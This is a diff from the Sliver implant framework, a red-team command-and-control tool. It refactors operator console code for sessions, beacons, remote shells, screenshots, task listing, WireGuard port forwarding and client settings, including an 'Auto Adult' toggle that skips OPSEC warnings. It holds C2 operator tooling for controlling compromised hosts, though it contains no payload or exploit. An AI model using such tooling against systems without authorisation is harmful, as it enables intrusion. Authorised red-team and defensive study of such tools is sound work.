func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -45,7 +45,7 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
screenshot, err := con.Rpc.Screenshot(context.Background(), &sliverpb.ScreenshotReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+1 -1
View File
@@ -7,6 +7,6 @@ import (
// BackgroundCmd - Background the active session
func BackgroundCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.ActiveSession.Background()
con.ActiveTarget.Background()
con.PrintInfof("Background ...\n")
}
+20 -2
View File
@@ -1,5 +1,23 @@
package sessions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
@@ -14,7 +32,7 @@ import (
// KillCmd - Kill the active session (not to be confused with TerminateCmd)
func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
con.PrintWarnf("No active session\n")
return
@@ -33,7 +51,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.ActiveSession.Background()
con.ActiveTarget.Background()
}
func killSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
+18
View File
@@ -1,5 +1,23 @@
package sessions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
+7 -5
View File
@@ -21,6 +21,7 @@ package sessions
import (
"context"
"regexp"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -30,7 +31,7 @@ import (
// SessionsReconfigCmd - Reconfigure metadata about a sessions
func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -51,11 +52,12 @@ func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
// Option to change the reconnect interval
poll := ctx.Flags.Int("poll")
oldSession := con.ActiveTarget.GetSession()
session, err := con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
SessionID: con.ActiveSession.Session.ID,
SessionID: oldSession.ID,
Name: name,
ReconnectInterval: int32(reconnect),
PollInterval: int32(poll),
ReconnectInterval: int64(reconnect) * int64(time.Second),
PollInterval: int64(poll) * int64(time.Second),
})
if err != nil {
@@ -63,5 +65,5 @@ func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
con.ActiveSession.Set(session)
con.ActiveTarget.Set(session, nil)
}
+38 -56
View File
@@ -19,18 +19,17 @@ package sessions
*/
import (
"bytes"
"context"
"fmt"
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// SessionsCmd - Display/interact with sessions
@@ -48,7 +47,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if killAll {
con.ActiveSession.Background()
con.ActiveTarget.Background()
for _, session := range sessions.Sessions {
err := killSession(session, true, con)
if err != nil {
@@ -61,7 +60,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if clean {
con.ActiveSession.Background()
con.ActiveTarget.Background()
for _, session := range sessions.Sessions {
if session.IsDead {
err := killSession(session, true, con)
@@ -76,9 +75,9 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if kill != "" {
session := con.GetSession(kill)
activeSession := con.ActiveSession.Get()
activeSession := con.ActiveTarget.GetSession()
if activeSession != nil && session.ID == activeSession.ID {
con.ActiveSession.Background()
con.ActiveTarget.Background()
}
err := killSession(session, true, con)
if err != nil {
@@ -90,7 +89,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if interact != "" {
session := con.GetSession(interact)
if session != nil {
con.ActiveSession.Set(session)
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
} else {
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
@@ -101,54 +100,36 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
sessionsMap[session.ID] = session
}
if 0 < len(sessionsMap) {
printSessions(sessionsMap, con)
PrintSessions(sessionsMap, con)
} else {
con.PrintInfof("No sessions 🙁\n")
}
}
}
/*
So this method is a little more complex than you'd maybe think,
this is because Go's tabwriter aligns columns by counting bytes
and since we want to modify the color of the active sliver row
the number of bytes per row won't line up. So we render the table
into a buffer and note which row the active sliver is in. Then we
write each line to the term and insert the ANSI codes just before
we display the row.
*/
func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
fmt.Fprintln(table, "ID\tName\tTransport\tRemote Address\tHostname\tUsername\tOperating System\tLast Check-in\tHealth\t")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("ID")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("Transport")),
strings.Repeat("=", len("Remote Address")),
strings.Repeat("=", len("Hostname")),
strings.Repeat("=", len("Username")),
strings.Repeat("=", len("Operating System")),
strings.Repeat("=", len("Last Check-in")),
strings.Repeat("=", len("Health")),
)
// strings.Repeat("=", len("Burned")))
// Sort the keys because maps have a randomized order
var keys []int
for _, session := range sessions {
keys = append(keys, int(session.ID))
}
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
// PrintSessions - Print the current sessions
func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Health",
})
activeIndex := -1
for index, key := range keys {
session := sessions[uint32(key)]
if con.ActiveSession.Get() != nil && con.ActiveSession.Get().ID == session.ID {
index := 0
for _, session := range sessions {
if con.ActiveTarget.GetSession() != nil && con.ActiveTarget.GetSession().ID == session.ID {
activeIndex = index + 2 // Two lines for the headers
}
index++
var SessionHealth string
if session.IsDead {
@@ -160,8 +141,7 @@ func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
if session.Burned {
burned = "🔥"
}
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
tw.AppendRow(table.Row{
session.ID,
session.Name,
session.Transport,
@@ -169,15 +149,16 @@ func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
session.Hostname,
session.Username,
fmt.Sprintf("%s/%s", session.OS, session.Arch),
session.LastCheckin,
SessionHealth,
burned,
)
time.Unix(session.LastCheckin, 0).Format(time.RFC1123),
burned + SessionHealth,
})
}
table.Flush()
tw.SortBy([]table.SortBy{
{Name: "ID", Mode: table.Asc},
})
if activeIndex != -1 {
lines := strings.Split(outputBuf.String(), "\n")
lines := strings.Split(tw.Render(), "\n")
for lineNumber, line := range lines {
if len(line) == 0 {
continue
@@ -189,6 +170,7 @@ func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
}
}
} else {
con.Printf(outputBuf.String())
con.Printf("%s\n", tw.Render())
}
}
-39
View File
@@ -1,39 +0,0 @@
package sessions
import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// UseCmd - Change the active session
func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
sessionArg := ctx.Args.String("session")
if sessionArg != "" {
session := con.GetSession(sessionArg)
if session == nil {
con.PrintErrorf("Invalid session name or session number '%s'\n", ctx.Args.String("session"))
} else {
activate(session, con)
}
} else {
session, err := SelectSession(false, con)
if session != nil {
activate(session, con)
} else if err != nil {
switch err {
case ErrNoSessions:
con.PrintErrorf("No sessions available\n")
case ErrNoSelection:
con.PrintErrorf("No session selected\n")
default:
con.PrintErrorf("%s\n", err)
}
}
}
}
func activate(session *clientpb.Session, con *console.SliverConsoleClient) {
con.ActiveSession.Set(session)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
}
+4
View File
@@ -0,0 +1,4 @@
Style
======
Defines terminal interface styles.
+39
View File
@@ -0,0 +1,39 @@
package settings
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// SettingsBeaconsAutoResultCmd - The client settings command
func SettingsBeaconsAutoResultCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.Settings.BeaconAutoResults = !con.Settings.BeaconAutoResults
con.PrintInfof("Beacon Auto Result = %v\n", con.Settings.BeaconAutoResults)
}
+62
View File
@@ -0,0 +1,62 @@
package settings
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// SettingsAutoAdultCmd - The client settings command
func SettingsAutoAdultCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.Settings.AutoAdult = !con.Settings.AutoAdult
con.PrintInfof("Auto Adult = %v\n", con.Settings.AutoAdult)
}
// IsUserAnAdult - This should be called for any dangerous (OPSEC-wise) functions
func IsUserAnAdult(con *console.SliverConsoleClient) bool {
if GetAutoAdult(con) {
return true
}
confirm := false
prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"}
survey.AskOne(prompt, &confirm, nil)
return confirm
}
// GetAutoAdult - Get the current auto adult setting
func GetAutoAdult(con *console.SliverConsoleClient) bool {
if con.Settings == nil {
con.Settings, _ = assets.LoadSettings()
}
if con.Settings != nil {
return con.Settings.AutoAdult
}
return false
}
+97
View File
@@ -0,0 +1,97 @@
package settings
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// SettingsCmd - The client settings command
func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
tw := table.NewWriter()
tw.SetStyle(GetTableStyle(con))
tw.AppendHeader(table.Row{"Name", "Value", "Description"})
tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
con.Printf("%s\n", tw.Render())
}
// SettingsTablesCmd - The client settings command
func SettingsTablesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
options := []string{}
for option := range tableStyles {
options = append(options, option)
}
style := ""
prompt := &survey.Select{
Message: "Choose a style:",
Options: options,
}
err = survey.AskOne(prompt, &style)
if err != nil {
con.PrintErrorf("No selection\n")
return
}
if _, ok := tableStyles[style]; ok {
con.Settings.TableStyle = style
} else {
con.PrintErrorf("Invalid style\n")
}
}
// SettingsSaveCmd - The client settings command
func SettingsSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
err = assets.SaveSettings(con.Settings)
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Settings saved to disk\n")
}
}
+94
View File
@@ -0,0 +1,94 @@
package settings
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
)
var (
tableStyles = map[string]table.Style{
// Sliver styles
SliverDefault.Name: SliverDefault,
// Go Pretty styles
table.StyleBold.Name: table.StyleBold,
table.StyleColoredBright.Name: table.StyleColoredBright,
table.StyleLight.Name: table.StyleLight,
table.StyleColoredDark.Name: table.StyleColoredDark,
table.StyleColoredBlackOnBlueWhite.Name: table.StyleColoredBlackOnBlueWhite,
}
SliverDefault = table.Style{
Name: "SliverDefault",
Box: table.BoxStyle{
BottomLeft: " ",
BottomRight: " ",
BottomSeparator: " ",
Left: " ",
LeftSeparator: " ",
MiddleHorizontal: "=",
MiddleSeparator: " ",
MiddleVertical: " ",
PaddingLeft: " ",
PaddingRight: " ",
Right: " ",
RightSeparator: " ",
TopLeft: " ",
TopRight: " ",
TopSeparator: " ",
UnfinishedRow: " ~~",
},
Color: table.ColorOptions{
IndexColumn: text.Colors{},
Footer: text.Colors{},
Header: text.Colors{},
Row: text.Colors{},
RowAlternate: text.Colors{},
},
Format: table.FormatOptions{
Footer: text.FormatDefault,
Header: text.FormatTitle,
Row: text.FormatDefault,
},
Options: table.Options{
DrawBorder: false,
SeparateColumns: true,
SeparateFooter: false,
SeparateHeader: true,
SeparateRows: false,
},
}
)
// GetTableStyle - Get the current table style
func GetTableStyle(con *console.SliverConsoleClient) table.Style {
if con.Settings == nil {
con.Settings, _ = assets.LoadSettings()
}
if con.Settings != nil {
if value, ok := tableStyles[con.Settings.TableStyle]; ok {
return value
}
}
return tableStyles[SliverDefault.Name]
}
+6 -5
View File
@@ -25,6 +25,7 @@ import (
"log"
"os"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -41,18 +42,18 @@ const (
// ShellCmd - Start an interactive shell on the remote system
func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
if !con.IsUserAnAdult() {
if !settings.IsUserAnAdult(con) {
return
}
shellPath := ctx.Flags.String("shell-path")
noPty := ctx.Flags.Bool("no-pty")
if con.ActiveSession.Get().OS != linux && con.ActiveSession.Get().OS != darwin {
if con.ActiveTarget.GetSession().OS != linux && con.ActiveTarget.GetSession().OS != darwin {
noPty = true // Sliver's PTYs are only supported on linux/darwin
}
runInteractive(ctx, shellPath, noPty, con)
@@ -61,7 +62,7 @@ func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *console.SliverConsoleClient) {
con.PrintInfof("Opening shell tunnel (EOF to exit) ...\n\n")
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -80,7 +81,7 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
tunnel := core.Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: shellPath,
EnablePTY: !noPty,
TunnelID: tunnel.ID,
+5
View File
@@ -0,0 +1,5 @@
Tasks
=======
Manage and interact with Beacon tasks
+91
View File
@@ -0,0 +1,91 @@
package tasks
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// TasksCmd - Manage beacon tasks
func TasksCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon := con.ActiveTarget.GetBeaconInteractive()
if beacon == nil {
return
}
beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
PrintBeaconTasks(beaconTasks.Tasks, con)
}
// PrintBeaconTasks - Print beacon tasks
func PrintBeaconTasks(tasks []*clientpb.BeaconTask, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"State",
"Message Type",
"Created",
"Sent",
"Completed",
})
for _, task := range tasks {
sentAt := time.Unix(task.SentAt, 0).Format(time.RFC1123)
if time.Unix(task.SentAt, 0).IsZero() {
sentAt = ""
}
completedAt := time.Unix(task.CompletedAt, 0).Format(time.RFC1123)
if time.Unix(task.CompletedAt, 0).IsZero() {
completedAt = ""
}
tw.AppendRow(table.Row{
strings.Split(task.ID, "-")[0],
prettyState(task.State),
task.Description,
time.Unix(task.CreatedAt, 0).Format(time.RFC1123),
sentAt,
completedAt,
})
}
con.Printf("%s\n", tw.Render())
}
func prettyState(state string) string {
switch strings.ToLower(state) {
case "pending":
return console.Bold + state + console.Normal
case "sent":
return console.Bold + console.Orange + state + console.Normal
case "completed":
return console.Bold + console.Green + state + console.Normal
default:
return state
}
}
+4
View File
@@ -0,0 +1,4 @@
Use
====
This package implements the `use` command, which is used to select active sessions/beacons.
+43
View File
@@ -0,0 +1,43 @@
package use
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// UseBeaconCmd - Change the active beacon
func UseBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon, err := beacons.SelectBeacon(con)
if beacon != nil {
con.ActiveTarget.Set(nil, beacon)
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, beacon.ID)
} else if err != nil {
switch err {
case beacons.ErrNoBeacons:
con.PrintErrorf("No beacon available\n")
case beacons.ErrNoSelection:
con.PrintErrorf("No beacon selected\n")
default:
con.PrintErrorf("%s\n", err)
}
}
}
+43
View File
@@ -0,0 +1,43 @@
package use
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// UseSessionCmd - Change the active session
func UseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, err := sessions.SelectSession(false, con)
if session != nil {
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
} else if err != nil {
switch err {
case sessions.ErrNoSessions:
con.PrintErrorf("No sessions available\n")
case sessions.ErrNoSelection:
con.PrintErrorf("No session selected\n")
default:
con.PrintErrorf("%s\n", err)
}
}
}
+176
View File
@@ -0,0 +1,176 @@
package use
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"fmt"
"sort"
"strconv"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
var (
ErrNoSelection = errors.New("no selection")
)
// UseCmd - Change the active session
func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var session *clientpb.Session
var beacon *clientpb.Beacon
var err error
idArg := ctx.Args.String("id")
if idArg != "" {
session, beacon, err = SessionOrBeaconByID(idArg, con)
} else {
session, beacon, err = SelectSessionOrBeacon(con)
}
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
if session != nil {
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
} else if beacon != nil {
con.ActiveTarget.Set(nil, beacon)
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, beacon.ID)
}
}
// SessionOrBeaconByID - Select a session or beacon by ID
func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb.Session, *clientpb.Beacon, error) {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, nil, err
}
idNumber, err := strconv.Atoi(id)
if err == nil {
for _, session := range sessions.Sessions {
if session.ID == uint32(idNumber) {
return session, nil, nil
}
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, nil, err
}
for _, beacon := range beacons.Beacons {
if strings.HasPrefix(beacon.ID, id) {
return nil, beacon, nil
}
}
return nil, nil, fmt.Errorf("no session or beacon found with ID %s", id)
}
// SelectSessionOrBeacon - Select a session or beacon
func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session, *clientpb.Beacon, error) {
// Get and sort sessions
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, nil, err
}
sessionsMap := map[uint32]*clientpb.Session{}
for _, session := range sessions.GetSessions() {
sessionsMap[session.ID] = session
}
var sessionKeys []int
for _, session := range sessions.Sessions {
sessionKeys = append(sessionKeys, int(session.ID))
}
sort.Ints(sessionKeys)
// Get and sort beacons
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, nil, err
}
beaconsMap := map[string]*clientpb.Beacon{}
for _, beacon := range beacons.Beacons {
beaconsMap[beacon.ID] = beacon
}
beaconKeys := []string{}
for beaconID := range beaconsMap {
beaconKeys = append(beaconKeys, beaconID)
}
sort.Strings(beaconKeys)
if len(beaconKeys) == 0 && len(sessionKeys) == 0 {
return nil, nil, fmt.Errorf("No sessions or beacons 🙁")
}
// Render selection table
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, key := range sessionKeys {
session := sessionsMap[uint32(key)]
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
session.ID,
session.Name,
session.RemoteAddress,
session.Hostname,
session.Username,
fmt.Sprintf("%s/%s", session.OS, session.Arch),
)
}
for _, key := range beaconKeys {
beacon := beaconsMap[key]
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
strings.Split(beacon.ID, "-")[0],
beacon.Name,
beacon.RemoteAddress,
beacon.Hostname,
beacon.Username,
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a session or beacon:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, nil, ErrNoSelection
}
for index, option := range options {
if option == selected {
if index < len(sessionKeys) {
return sessionsMap[uint32(sessionKeys[index])], nil, nil
}
return nil, beaconsMap[beaconKeys[index-len(sessionKeys)]], nil
}
}
return nil, nil, nil
}
+2 -2
View File
@@ -29,7 +29,7 @@ import (
// WGPortFwdAddCmd - Add a new WireGuard port forward
func WGPortFwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -53,7 +53,7 @@ func WGPortFwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pfwdAdd, err := con.Rpc.WGStartPortForward(context.Background(), &sliverpb.WGPortForwardStartReq{
LocalPort: int32(localPort),
RemoteAddress: remoteAddr,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -28,7 +28,7 @@ import (
// WGPortFwdRmCmd - Remove a WireGuard port forward
func WGPortFwdRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -40,7 +40,7 @@ func WGPortFwdRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
fwdID := ctx.Args.Int("id")
stopReq, err := con.Rpc.WGStopPortForward(context.Background(), &sliverpb.WGPortForwardStopReq{
ID: int32(fwdID),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -32,7 +32,7 @@ import (
// WGPortFwdListCmd - List WireGuard port forwards
func WGPortFwdListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -42,7 +42,7 @@ func WGPortFwdListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
fwdList, err := con.Rpc.WGListForwarders(context.Background(), &sliverpb.WGTCPForwardersReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
